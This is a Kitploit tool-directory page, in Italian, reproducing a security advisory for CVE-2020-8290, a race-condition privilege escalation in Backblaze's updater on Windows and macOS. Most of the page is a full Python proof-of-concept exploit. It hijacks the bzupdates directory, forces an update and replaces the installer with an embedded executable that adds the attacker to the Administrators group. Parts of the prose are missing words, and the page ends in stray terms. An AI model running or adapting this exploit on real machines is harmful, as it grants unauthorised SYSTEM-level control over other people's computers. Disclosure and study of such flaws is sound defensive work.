Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevazione dei privilegi in Backblaze | Kitploit
Strumenti/GitHubGitHub/geffner/cve-2020-8290
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration Testing
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevazione dei privilegi in Backblaze

Vedi Repository
5 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-8290 – Elevazione dei Privilegi in Backblaze

Riepilogo

Nome: Elevazione dei Privilegi in Backblaze
CVE: CVE-2020-8290
Scopritore: Jason Geffner
Venditore: Backblaze
Prodotto: Backblaze per Windows e Backblaze per macOS
Rischio: Alto
Data di scoperta: 2020-03-13
Data di pubblicazione: 2020-09-09
Versione corretta: 7.0.0.439

Introduzione

Secondo Wikipedia, Backblaze è

"uno strumento di backup online che consente agli utenti Windows e macOS di eseguire il backup dei propri dati su data center remoti. Il servizio è progettato per aziende e utenti finali, offrendo spazio di archiviazione illimitato e supporto per file di dimensioni illimitate."

Le versioni vulnerabili di Backblaze per Windows e Backblaze per macOS contengono una vulnerabilità ad alto rischio che consente a un utente malintenzionato locale non privilegiato di eseguire un attacco di elevazione dei privilegi (EOP) per diventare SYSTEM/root.

Vulnerabilità

Il processo di servizio del client Backblaze, chiamato bzserv, viene eseguito come SYSTEM su Windows e come root su macOS. Ogni paio d'ore, bzserv esegue un programma chiamato bztransmit (eseguito come SYSTEM/root) per scaricare un file XML chiamato clientversion.xml dal data center di Backblaze per verificare se è disponibile una versione più recente del client Backblaze e, in tal caso, scarica l'installer dell'ultima versione del client dal data center di Backblaze. L'installer scaricato viene salvato nella directory %ProgramData%\Backblaze\bzdata\bzupdates su Windows e nella directory /Library/Backblaze.bzpkg/bzdata/bzupdates o /Library/Backblaze/bzdata/bzupdates su macOS. Una volta scaricato, bztransmit esegue l'installer scaricato come tramite o come tramite .

Su Windows, la directory %ProgramData%\Backblaze\bzdata viene creata al momento dell'installazione in modo tale che gli utenti locali non privilegiati abbiano accesso in lettura e scrittura. Il processo bztransmit crea la directory figlia bzupdates mentre è in esecuzione come SYSTEM, e gli utenti non privilegiati non hanno accesso in lettura o scrittura a questa directory figlia una volta creata. Tuttavia, il processo bztransmit non verifica in modo sicuro l'ACL su questa directory bzupdates se già esisteva, né aggiorna in modo sicuro l'ACL se la directory già esisteva. Pertanto, un utente malintenzionato locale non privilegiato può creare la directory %ProgramData%\Backblaze\bzdata\bzupdates prima dell'installazione di Backblaze, o creare la directory figlia bzupdates sotto %ProgramData%\Backblaze\bzdata dopo l'installazione di Backblaze e prima che bztransmit crei la directory figlia bzupdates. Ciò consente all'attaccante di essere il proprietario della directory e di avere il controllo completo sui file in quella directory. Pertanto, l'attaccante può modificare o sostituire l'eseguibile dell'aggiornamento scaricato dopo che è stato scaricato e prima che venga eseguito, consentendo così l'EOP locale.

Su macOS, la directory /Library/Backblaze.bzpkg/bzdata (o /Library/Backblaze/bzdata) viene creata al momento dell'installazione con permessi 0777 (drwxrwxrwx), in modo tale che gli utenti locali non privilegiati abbiano accesso in lettura e scrittura. Il processo bztransmit crea la directory figlia bzupdates con permessi 0755 (drwxr-xr-x) mentre è in esecuzione come root, e gli utenti non privilegiati non hanno accesso in lettura o scrittura a questa directory figlia una volta creata. Tuttavia, il processo bztransmit non verifica in modo sicuro i permessi su questa directory bzupdates se già esisteva, né aggiorna in modo sicuro i permessi se la directory già esisteva. Pertanto, un utente malintenzionato locale non privilegiato può creare la directory figlia bzupdates sotto /Library/Backblaze.bzpkg/bzdata (o ) dopo l'installazione di Backblaze e prima che crei la directory figlia . Ciò consente all'attaccante di essere il proprietario della directory e di avere il controllo completo sui file in quella directory. Pertanto, l'attaccante può modificare o sostituire l'eseguibile dell'aggiornamento scaricato dopo che è stato scaricato e prima che venga eseguito, consentendo così l'EOP locale.

Proof of Concept

Video: https://youtu.be/OpC6neWd2aM

Il video sopra mostra due accessi simultanei alla stessa VM: una sessione dell'amministratore a sinistra e una sessione dell'attaccante non privilegiato a destra. Si possono vedere i seguenti passaggi nel video:

  1. L'Attaccante esegue net localgroup Administrators per mostrare che l'account non privilegiato dell'attaccante (chiamato Attacker) non è membro del gruppo Administrators.
  2. L'attaccante esegue python eop.py (il cui codice sorgente è sotto).
  3. L'amministratore installa quindi Backblaze.
  4. Sei minuti dopo, il servizio Backblaze installato scarica clientversion.xml, che l'exploit sovrascrive.
  5. Un minuto dopo, il servizio Backblaze installato scarica l'eseguibile dell'aggiornamento, che l'exploit sovrascrive.
  6. Il servizio Backblaze esegue quindi l'aggiornamento sovrascritto, che aggiunge l'account Attacker al gruppo Administrators.
  7. L'attaccante esegue quindi nuovamente net localgroup Administrators per mostrare che l'account Attacker è stato effettivamente aggiunto al gruppo Administrators. Elevazione dei privilegi locale completata.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

Mitigazione

Backblaze ha corretto questa vulnerabilità nella versione 7.0.0.439 di Backblaze.

Scopritore

Questa vulnerabilità è stata scoperta e segnalata a Backblaze da Jason Geffner tramite HackerOne.

Cronologia

2020-03-13 - Vulnerabilità scoperta e segnalata a Backblaze tramite HackerOne
2020-03-26 - HackerOne ha verificato la vulnerabilità
2020-04-22 - Assegnato CVE-2020-8152
2020-04-22 - Rilasciata la build 7.0.0.439
2020-04-22 - Mitigazione della vulnerabilità verificata
2020-04-23 - Richiesta di divulgazione pubblica
2020-09-09 - Divulgazione pubblica
2020-12-22 - Assegnazione CVE cambiata in CVE-2020-8290

Scarica lo strumento
SYSTEM
ShellExecute()
root
system()
bzupdates
/Library/Backblaze/bzdata
bztransmit
bzupdates
bzupdates